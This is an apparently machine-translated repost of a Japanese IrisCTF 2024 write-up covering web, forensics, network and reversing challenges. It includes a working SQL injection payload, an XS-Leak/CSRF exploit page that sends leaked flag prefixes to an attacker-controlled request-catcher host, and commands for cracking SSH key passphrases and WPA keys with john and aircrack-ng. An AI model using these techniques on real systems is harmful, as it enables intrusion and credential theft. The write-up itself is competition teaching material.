IrisCTF 2024 Writeup

WriteUp 4个月前 admin
102 0 0

[Web Exploitation] What’s My Password?
[网络开发] 我的密码是什么?

[baby] Oh no! Skat forgot their password (again)!
[婴儿]哦不!Skat(再次)忘记了密码!

Can you help them find it?
你能帮他们找到它吗?

以下のようにDBにフラグが入っている。 数据库中有一个标志,如下所示。

CREATE TABLE IF NOT EXISTS users ( username text, password text );
INSERT INTO users ( username, password ) VALUES ( "root", "IamAvEryC0olRootUsr");
INSERT INTO users ( username, password ) VALUES ( "skat", "fakeflg{fake_flag}");
INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42");

ソースコードを読むとSQL Injectionができる所がある。
如果你阅读源代码,有一个地方可以完成SQL注入。

qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)

これにうまく合うようにいつもの感じでpayloadを送る。
以通常的感觉发送有效载荷以很好地适应这一点。

{"username":"aaa","password":"\" OR \"\"=\""}を送ると  {"username":"aaa","password":"\" OR \"\"=\""} 当您发送
SQL文は SELECT * FROM users WHERE username = "aaa" AND password = "" OR ""=""となるので{"username":"root","password":"IamAvEryC0olRootUsr"}が帰ってくる。
SQL 语句返回 SELECT * FROM users WHERE username = "aaa" AND password = "" OR ""="" {"username":"root","password":"IamAvEryC0olRootUsr"} .

ok

フラグを持っているのはskatユーザーなので {"username":"aaa","password":"\" OR username = \"skat"} を送るとフラグが得られる。
由于拥有该标志的是 skat 用户, {"username":"aaa","password":"\" OR username = \"skat"} 因此您可以通过发送 .

[Web Exploitation] LameNote
[网络开发] 跛脚笔记

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
请注意,挑战是蹩脚的,所以我做了一个更蹩脚的挑战。标志匹配irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there’s no PoW on the admin bot so feel free to spam it a bit)
管理员将登录,用标志做笔记,然后访问您的链接。(对不起,如果这个挑战的超时有点坏,管理机器人上没有 PoW,所以请随时发送垃圾邮件)

THIRD BLOOD! 第三滴血!

IrisCTF 2024 Writeup

Noteを投稿できるサイトが与えられる。投稿したNoteは自分のみ閲覧可能。
您将获得一个可以发布笔记的网站。 只有您可以查看已发布的注释。

irisctf{[a-z_]+}のようにフラグの文字制限がある。
irisctf{[a-z_]+} 标志有字符限制。

ソースコードを巡回すると、検索機能があるのでXS-Leaksの可能性から考えていく。
如果您浏览源代码,则有一个搜索功能,因此我们将考虑 XS-Leaks 的可能性。

CSPが結構厳しく、外部に通信できそうなのはimg-srcくらいしかない。
CSP非常严格, img-src 只有一个似乎能够与外界沟通。

imgの通信の有無で判定か…と考えていくと解法が見つかった。
它是通过是否存在img通信来判断的…… 想了想,我找到了解决办法。

まずはbotの動きを見てみる。 首先,让我们来看看机器人是如何工作的。

const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.goto("https://lamenote-web.chal.irisc.tf/");
const frameWrapper = await page.waitForSelector('iframe');
const frame = await frameWrapper.contentFrame();
await frame.type('input[name=title]', 'Flag');
await frame.type('input[name=text]', 'irisctf{FAKEFLAGFAKEFLAG}');
await frame.type('input[name=image]', 'https://i.imgur.com/dQJOyoO.png');
await frame.click('form[method=post] button[type=submit]');
await page.waitForTimeout(1000);
await frameWrapper.dispose();

このようにサイトを開き、flagを含んだNoteを投稿する。その後、与えられたURLを開いて60秒待つという構成になっている。
像这样打开网站并发布包含标志的便条。 之后,它会打开给定的 URL 并等待 60 秒。

60秒という時間もXS-Leaks感が出ている。
60 秒的时间也有一种 XS-Leaks 的感觉。

注目すべきは以下にあるGET /searchエンドポイント。
值得注意的是以下 GET /search 端点:

@app.route("/search")
@check_request
def search():
    query = request.args.get("query", "")
    user = request.cookies.get("user", None)
    results = []
    notes_copy = copy.deepcopy(NOTES)
    for note in notes_copy.values():
        if note["owner"] == user and (query in note["title"] or query in note["text"]):
            results.append(note)
            if len(results) >= 5:
                break

    if len(results) == 0:
        return "<!DOCTYPE html><body>No notes.</body>"

    if len(results) == 1:
        return render_note(results[0])
    
    return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>"

見ると、flagが入っているtextフィールドに対してキーワード検索ができるようになっている。
当您查看它时,您可以搜索包含标志的文本字段的关键字。

なので、うまく調整して、flagのprefixを入力して一致したときと一致しなかったときの挙動の違いを生み出せば良い。
因此,您可以很好地调整它并输入标志前缀,以在匹配和不匹配时创建行为差异。

ここで色々考えると1つアイデアが出て、それが正答につながった。
当我想了很多的时候,我想出了一个主意,这导致了正确的答案。

答えから言ってしまうと、キーワード検索に一致する項目が1つか2つ以上にした場合の挙動の違いを利用してXS-Leaksする。
从答案来看,当有一个或多个项目与关键字搜索匹配时,XS-Leaks 利用了行为的差异。

一致する項目が1つであれば return render_note(results[0]) が実行されるし、
如果只有一个匹配项, return render_note(results[0]) 则执行,并且

2つ以上であれば return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>" が実行される。
如果有两个或更多, return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>" 则执行。

ここで、CSPでimgタグの中身のみ外部通信が許可されていることを考慮してみると、render_noteで表示する方にはimgタグが含まれるため、imgタグによる通信が発生するし、2つ以上であればimgタグは含まれないのでimgタグによる通信が発生しなくなる。
这里,考虑到CSP中只允许img标签的内容进行外部通信,render_note中显示的包含img标签,因此会发生img标签的通信,如果有两个或更多,则不包括img标签,因此不会发生img标签的通信。

これは使えそうな、外部から観測できる違いになる。
这是可以从外部使用和观察的差异。

botがフラグをNoteで投稿した直後では、フラグの正しいprefixを入力すると一致する項目が1つで、間違ったprefixを入力すると一致する項目が0個になる。
机器人在 Note 中发布标志后,如果输入正确的标志前缀,将有 1 个匹配项,如果输入错误的前缀,将有 0 个匹配项。

この時も挙動は異なるが、任意のimgタグは差し込めないので観測することができない。
此时,行为也不同,但由于无法插入任意 img 标签,因此无法观察到。

では、この時、可能性のあるprefixをimgタグで判別できるようにすべて入力していたらどうだろうか。
那么,如果我们输入所有可能的前缀,以便它们可以通过 img 标签识别呢?

具体的にはirisctf{が既知であるときに
具体来说, irisctf{ 何时是已知的

textがirisctf{aでimgのURLをhttps://[yours].requestcatcher.com/irisctf{aであるNote、
请注意,其中 text 是 irisctf{a img 的 URL https://[yours].requestcatcher.com/irisctf{a

textがirisctf{bでimgのURLをhttps://[yours].requestcatcher.com/irisctf{bであるNote、
请注意,其中 text 是 irisctf{b img 的 URL https://[yours].requestcatcher.com/irisctf{b

textがirisctf{cでimgのURLをhttps://[yours].requestcatcher.com/irisctf{cであるNote、
请注意,其中 text 是 irisctf{c img 的 URL https://[yours].requestcatcher.com/irisctf{c


を投稿しておいた場合である。  当您发布时就是这种情况。
こうすると、フラグの正しいprefixを入力すると一致する項目が2つで、間違ったprefixを入力すると一致する項目が1個になる。
这样,如果您输入了正确的标志前缀,将有两个匹配项,如果您输入了错误的前缀,将有一个匹配项。

このとき、間違ったprefixを入力したときには一致する項目が1個なので、imgタグ込みで表示されることになり、この時にrequestcatcherがリクエストを受け取ることができる。
此时,当输入了错误的前缀时,只有一个匹配项,因此会显示 img 标签,此时 requestcatcher 可以接收到请求。

だが、正しいprefixを入力したときは一致する項目が2個になるので、登録したrequestcatcherのURLはimgタグとして表示されず、リクエストが飛ばない。
但是,当输入正确的前缀时,有两个匹配项,因此注册的 requestcatcher 的 URL 不会显示为 img 标签,请求不会飞。

この違いを利用する。  利用这种差异。
よって、[a-z]の全通りのNoteを登録して、[a-z]の全通りのprefixで検索をしてみて、リクエストが飛んでこなかったものが正しいprefixということになる。
因此,如果注册了[a-z]的所有注释,则搜索[a-z]所有街道的所有前缀,没有收到请求的将是正确的前缀。

ここまでの概念を理解していれば後は実装するだけ。以下のようなコードで実装した。
一旦你理解了到目前为止的概念,你所要做的就是实现它。 它是使用以下代码实现的。

<body>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    const prefix = "irisctf{please_";
    const chars = "abcdefghijklmnopqrstuvwxyz_";
    setTimeout(async () => {
        for (var i in chars) {
            form.title.value = prefix + chars[i];
            form.text.value = prefix + chars[i];
            form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
            form.submit();
            await sleep(500);
        }
        for (var i in chars) {
            form2.query.value = prefix + chars[i];
            form2.submit();
            await sleep(500);
        }
    }, 0);
</script>
<img src="https://[yours].requestcatcher.com/start">
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
    <input name="title">
    <input name="text">
    <input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
    <input name="query">
</form>
</body>

CSRF対策は特にないため、POSTリクエストを使うことでNoteの登録を強制させることができる。
由于没有特定的 CSRF 对策,因此可以使用 POST 请求强制注册 Note。

だが、どれも@check_requestというのが付いていてiframeから実行させる必要があるため、iframeを用意して、formのtargetでiframeに表示させている。
但是,由于它们 @check_request 都有一个“”,并且需要从 iframe 执行,因此会准备一个 iframe 并将其显示在 iframe 中,其中包含表单的目标。

それ以外は特に特筆すべきところはなく、formを使ってPOSTとGETでCSRFをする形を取っている。
除此之外,没有什么特别值得注意的,它采取的形式是使用 form 通过 POST 和 GET 进行 CSRF。

上記のコードではirisctf{please_までが既知の状態の攻撃コードである。
在上面的代码中,是 irisctf{please_ 漏洞利用代码的已知状态。

これを実行させると最初のforループで[a-z]の全通りを付けたprefixのNoteを登録していて、
执行此操作时,第一个 for 循环会注册一个带有前缀的注释,其中包含 [a-z] 的所有街道。

次のforループで[a-z  在下面的 for 循环中,[a-z
]の全通りを付けたprefixで検索をしてみている。
我正在尝试使用所有街道的前缀进行搜索。

これを動かしながらrequestcatcherを見てみると、irisctf{please_aからirisctf{please__までのリクエストが登録時に来て、
如果你在运行这个时查看 requestcatcher,你会看到 在注册时来自 to 的请求 irisctf{please__ , irisctf{please_a

次にirisctf{please_aからirisctf{please__までのprefixが一致しないものが帰ってくる。
irisctf{please_a 接下来,返回前缀 irisctf{please__ from to the prefix does not match。

後者のリクエスト群の中に正答である irisctf{please_n が含まれて来ないことが動かしてみると分かる。
如果移动它,您可以看到正确答案 irisctf{please_n 不包含在后一个请求组中。

自分はここまで自動化して、あとは目視で欠落している文字を探して1文字ずつ動かしながら特定していった。
到目前为止,我实现了自动化,然后目视搜索缺失的字符,并通过一个接一个地移动它们来识别它们。

[Forensics] Not Just Media
[取证]不仅仅是媒体

I downloaded a video from the internet, but I think I got the wrong subtitles.
我从网上下载了一个视频,但我想我得到了错误的字幕。

Note: The flag is all lowercase.
注意:该标志全部为小写。

chal.mkvという動画ファイルが与えられる。
查尔。 您将获得一个名为 mkv 的视频文件。

video – Extracting Subtitles from mkv file – Super Userを参考にffmpegで字幕を持って来た。
video – 从 mkv 文件中提取字幕 – 超级用户 我在 ffmpeg 中带来了字幕。

我們歡迎您接受一生中最大的挑戰,即嘗試理解這段文字的含義
我们欢迎您接受一生中最大的挑战,即尝试理解这段文字的含义

とある。日本語では「この文章の意味を理解しようとする、人生最大の挑戦を歓迎する!」らしい。
一定。 在日语中,它似乎是,“我欢迎我一生中最大的挑战,试图理解这句话的含义!

同じページで紹介されているMKVCleaverを使ってみると、添付ファイルが含まれていた。
当我尝试使用同一页面上介绍的 MKVCleaver 时,它包含一个附件。

必要な外部依存バイナリも入れて抜き出してみると、中国語のフォントに加えて、FakeFont_0.ttfというファイルも含まれていた。
当我使用必要的外部依赖二进制文件提取它时,我发现除了中文字体外,还包括一个名为 FakeFont_0.ttf 的文件。

FontForgeで開いて巡回すると、中国語の一部の文字にアルファベットがフォントとして登録されているのに気が付く。
如果你用 FontForge 打开它并爬来爬去,你会注意到字母表被注册为某些汉字的字体。

そういうことねということで、FakeFont_0.ttfをインストールして、メモ帳に上の字幕を入れてフォントをFakeFontに切り替えるとフラグが出てくる。
这就是我的意思,所以如果你安装FakeFont_0.ttf,把上面的字幕放在记事本里,把字体切换成FakeFont,就会出现一个标志。

[Forensics] skat‘s SD Card
[取证] skat的SD卡

“Do I love being manager? I love my kids. I love real estate. I love ceramics. I love chocolate. I love computers. I love trains.”
“我喜欢当经理吗?我爱我的孩子。我喜欢房地产。我喜欢陶瓷。我喜欢巧克力。我喜欢电脑。我喜欢火车。

SDカードのイメージが与えられる。とりあえずFTK Imagerで開くとraspberrypiだった。
您将获得SD卡的图像。 目前,当我用 FTK Imager 打开它时,它是 raspberrypi。

/home/skat以外は特に面白くなさそうだったので、とりあえずこのフォルダを重点的に見る。
/home/skat 除此之外,它似乎不是特别有趣,所以我暂时专注于这个文件夹。

/home/skat/.bash_historyにgit clone履歴があった。
/home/skat/.bash_history 有 git 克隆历史记录。

git clone [email protected]:IrisSec/skats-interesting-things.git
/home/skat/.ssh/id_rsaも取れているのでレポジトリを取得することができそう。
/home/skat/.ssh/id_rsa 似乎您可以获取存储库,因为它也被占用了。

実際にやってみると、id_rsaにはパスワードがかかっていた。
当我真正尝试时,我发现id_ RSA 有一个密码。

id_rsaのパスワードを辞書攻撃で破る。 id_ 使用字典攻击破解 RSA 密码。
教科書通りやる。  按照教科书去做。

$ /usr/share/john/ssh2john.py home_skat/skat/.ssh/id_rsa > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (home_skat/skat/.ssh/id_rsa)     
1g 0:00:00:03 DONE (2024-01-06 22:09) 0.3030g/s 19.39p/s 19.39c/s 19.39C/s 123456..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

passwordだったので、これを使ってレポジトリをcloneすることができた。
password 所以我能够使用它克隆存储库。

いつものように過去コミットに面白い情報が無いかgit log -pで見てみると、フラグが消されていて、提出すると答えだった。
像往常一样,当我查看过去的提交以查看是否有 git log -p 任何有趣的信息时,该标志被删除,答案是我会提交它。

[Networks] skat‘s Network History
[网络] skat的网络历史

“I love cats.” “我喜欢猫。”
Note: this challenge is a continuation to Forensics/skat‘s SD Card. You are dealing with the same scenario. skats-sd-card.tar.gz is the same file from that challenge (SHA-1: 4cd743d125b5d27c1b284f89e299422af1c37ffc).
注意:此挑战是 Forensics/skat 的 SD 卡的延续。您正在处理相同的场景。skats-sd-card.tar.gz 与该质询中的文件相同(SHA-1:4cd743d125b5d27c1b284f89e299422af1c37ffc)。

前問であるskat's SD CardではSDカードのイメージファイルだけだったが、
skat's SD Card 在上一个问题中,它只是SD卡上的一个镜像文件。

追加でネットワークキャプチャのcapファイルと、sslkeyfileが与えられる。
此外,还给出了网络捕获的 cap 文件和 sslkeyfile。

とりあえず開いてみると暗号化された無線通信が取得されている。
当我暂时打开它时,获得了加密的无线通信。

登録済みパスワードがディスクダンプの/etc/らへんから取れた気が…と思って探すとある。
我觉得注册的密码是从磁盘转储中取出的 /etc/ …… 我想了想,寻找它。

/etc/NetworkManager/system-connections/skatnet.nmconnectionに書いてある。  /etc/NetworkManager/system-connections/skatnet.nmconnection 它被写在。

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk=agdifbe7dv1iruf7ei2v5op

念のためAircrack-ngでこのpskに書かれたパスワードで試すとクラック成功する。
以防万一,如果您尝试使用Aircrack-ng写在此psk上的密码,破解将成功。

クラックできたら、設定 -> IEEE 802.11 -> Decryption keysのedit -> wpa-pwdにして入力すると、通信が復号化される。
破解后,设置 -> IEEE 802.11 -> 解密密钥编辑 -> wpa-pwd 并输入它以解密通信。

sslkeyfileも設定 -> TLSから適用しておこう。
我们还将 sslkeyfile -> Apply from TLS 设置为 sslkeyfile。

DNSを見てみるとNo.6122,6140でpastebin.comが名前解決されていていかにも怪しい。
查看DNS,pastebin.com 解析为6122号和6140号,这很可疑。

周辺を調べると、No.6197にフラグが書いてあった。
当我检查该地区时,我发现6197号上写着一面旗帜。

[Networks] Copper Selachimorpha
[网络] 铜Selachimorpha

Joe Schmoe was using his mobile hotspot and downloading some files. Can you intercept his communications?
Joe Schmoe 正在使用他的移动热点并下载一些文件。你能拦截他的通讯吗?

Hint! Think very deeply about the premise of the challenge. You need to do a lot of analysis to recover the rest of the flag.
提示!非常深入地思考挑战的前提。您需要进行大量分析才能恢复标志的其余部分。

暗号化された無線通信が書いてある。 写入加密的无线电通信。
パスワードが分からないことにはな…と思いながらaircrack-ngとrockyou.txtで探すと見つかる。
我不知道密码… 您可以通过搜索 aircrack-ng 和 rockyou .txt 找到它。

      [00:01:57] 894908/14344392 keys tested (7729.15 k/s)

      Time left: 29 minutes, 0 seconds                           6.24%

                          KEY FOUND! [ humus12345 ]


      Master Key     : 26 C8 6B 47 25 1E 06 AF 93 FB 5D D8 65 31 C8 F6
                       63 DE FA 79 40 DF 81 CB 87 0A 9C 3D 1E 49 24 FD

      Transient Key  : 29 E7 72 00 5A C8 40 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 37 CC 99 33 10 76 AC 0C D2 11 96 09 E4 8F 22 57

FTP通信を見ると、パスワードにフラグの一部が書いてある。
如果你看一下FTP通信,你可以看到一些标志写在密码中。

220 (vsFTPd 3.0.3)
USER joeschmoe
331 Please specify the password.
PASS irisctf{welc0me_t0_th3_n3twork_c4teg
230 Login successful.

ftp通信のファイルを見ると3つのよく似たファイルがダウンロードできる。
如果您查看FTP文件,则可以下载三个类似的文件。

バイナリで比較してみると微妙にかぶっていたり、違っていたりする。
如果以二进制形式比较它们,它们会略有不同或不同。

多分差分をうまくマージして元のファイルを復元するんだろうが…
也许我会很好地合并差异并恢复原始文件,但是……

きついーと言いながらマージのツールを書く。  在说它很紧的同时,写一个合并工具。
バイナリの各バイトの先頭から共通しているかを確認して、
检查二进制文件的每个字节是否从一开始就是通用的,

2つ以上共通していればうまく取れているとして採用する。
如果两件或多件事情是共同的,它就会被采纳为一个好的东西。

3すくみの状態になったら、各バイトの先頭10バイトが他のファイルに無いかを確認して、
当您进入 3-dip 状态时,请检查每个字节的前 10 个字节是否位于其他文件中。

より可能性が高い方を選択するようにした。  我试图选择更有可能的那个。
beautiful_fish_0.png, beautiful_fish_1.png, beautiful_fish_2.png
beautiful_fish_0。 巴布亚新几内亚,beautiful_fish_1。 png、beautiful_fish_2。 png 和

3ファイルを保存しておいて、以下のコードでゴリゴリマージするとフラグが出てきた。
3 当我保存文件并将其与以下代码合并时,出现了一个标志。

png_bytes = []
for i in range(3):
    with open(f"beautiful_fish_{i}.png","rb") as fp:
        png_bytes.append(fp.read())

with open(f"out.png","wb") as fp:
    while True:
        while 1 <= len(png_bytes) and len(png_bytes[0]) == 0:
            png_bytes = png_bytes[1:]
        while 2 <= len(png_bytes) and len(png_bytes[1]) == 0:
            if len(png_bytes) == 2:
                png_bytes = [png_bytes[0]]
            else:
                png_bytes = [png_bytes[0], png_bytes[2]]
        while 3 <= len(png_bytes) and len(png_bytes[2]) == 0:
            png_bytes = png_bytes[:-1]
        
        if len(png_bytes) == 0:
            break

        if len(png_bytes) == 1:
            print('My assumption is wrong... 1')
            exit(1)
        
        if len(png_bytes) == 2:
            if png_bytes[0][0] == png_bytes[1][0]:
                fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                png_bytes[0] = png_bytes[0][1:]
                png_bytes[1] = png_bytes[1][1:]
                continue
            else:
                print('My assumption is wrong... 2')
                exit(2)
        
        # len(png_bytes) == 3
        if (png_bytes[0][0] == png_bytes[1][0]) and (png_bytes[2][0] == png_bytes[1][0]):
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[0][0] == png_bytes[1][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
        elif png_bytes[0][0] == png_bytes[2][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[1][0] == png_bytes[2][0]:
            fp.write(png_bytes[1][0].to_bytes(1, 'big'))
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        else:
            idx01 = png_bytes[1].find(png_bytes[0][:10])
            idx02 = png_bytes[2].find(png_bytes[0][:10])
            if 0 <= idx01 or 0 <= idx02:
                if idx02 < idx01:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx10 = png_bytes[0].find(png_bytes[1][:10])
            idx12 = png_bytes[2].find(png_bytes[1][:10])
            if 0 <= idx10 or 0 <= idx12:
                if idx12 < idx10:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx20 = png_bytes[0].find(png_bytes[2][:10])
            idx21 = png_bytes[1].find(png_bytes[2][:10])
            if 0 <= idx21 or 0 <= idx20:
                if idx20 < idx21:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
            
            print('My assumption is wrong... 3')
            exit(3)

[Reverse Engineering] The Johnson’s
[逆向工程]The Johnson’s(约翰逊酒店)

Please socialize with the Johnson’s and get off your phone. You might be quizzed on it!
请与约翰逊进行社交并放下手机。你可能会被问到这个问题!

解凍ファイルを確認する。 检查解压缩的文件。

$ file *
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f9dc64e1f81cfd02193274da700f1de05742fd83, for GNU/Linux 3.2.0, not stripped

ghidraで中身を見てみるとcheck関数で以下の条件がすべてtrueならフラグがもらえる。
如果您使用 ghidra 查看内容,如果在 check 函数中满足以下所有条件,您将获得一个标志。

chosenFoods.James != 2
chosenFoods.William != 2
chosenFoods.William != 3
chosenFoods.Alice == 4

chosenColors.Emma != 1
chosenColors.Alice != 3
chosenColors.Emma != 3
chosenColors.William == 2
chosenColors.James != 4

という訳でパターンを作る 这就是我制作模式的原因

chosenColors.Alice 1 red
chosenColors.Emma 4 yellow
chosenColors.James 3 green
chosenColors.William 2 blue

chosenFoods.Alice 4 chicken
chosenFoods.Emma 2 pasta
chosenFoods.James 3 steak
chosenFoods.William 1 pizza

数字と文字の対応はmain関数を見れば分かる。 通过查看 main 函数可以看出数字和字母之间的对应关系。
これをnetcatの窓口に報告すればフラグがもらえる。
如果将此报告给 netcat 窗口,则会收到一个标志。

[Reverse Engineering] Rune? What’s that?
[逆向工程] 符文? 什么?

Rune? Like the ancient alphabet?
符文?喜欢古代字母表吗?

golangrune関数を使ってフラグの文字列が難読化されている。
使用 Golang 的 rune 函数对标志字符串进行混淆。

文字が一対一対応のように変換されていて変換ルーチンもわかっているので先頭から1文字ずつ
由于字符的转换方式是一对一的,并且转换例程是已知的,因此从一开始就一次一个字符

総当たりでprefixが一致するように探していこう。
让我们尝试通过蛮力找到要匹配的前缀。

コードを流用しつつ、以下のように1文字ずつ特定するコードを書いた。
在转移代码时,我编写了一个代码,一次标识一个字符,如下所示。

package main

import (
    "fmt"
    "os"
    "strings"
    "io/ioutil"
    "bytes"
)

func gen(payload string) {
    runed := []string{}
    z := rune(0)

    for _, v := range payload {
        runed = append(runed, string(v+z))
        z = v
    }

    payload = strings.Join(runed, "")

    file, err := os.OpenFile("the2", os.O_RDWR | os.O_CREATE, 0644)
    if err != nil {
        fmt.Println(err)
        return
    }

    defer file.Close()
    if _, err := file.Write([]byte(payload)); err != nil {
        fmt.Println(err)
        return
    }
}

func check() bool {
    b1, _ := ioutil.ReadFile("the")
    b2, _ := ioutil.ReadFile("the2")
    return bytes.HasPrefix(b1, b2)
}

func main() {
    flag := "irisctf{i_r3411y"
    for i := 0; i < 256; i++ {
        gen(flag + string(i))
        if check() {
            fmt.Println(flag + string(i))
        }
    }
}

原文始发于hamayanhamayan :IrisCTF 2024 Writeup

版权声明:admin 发表于 2024年1月9日 上午9:28。
转载请注明:IrisCTF 2024 Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...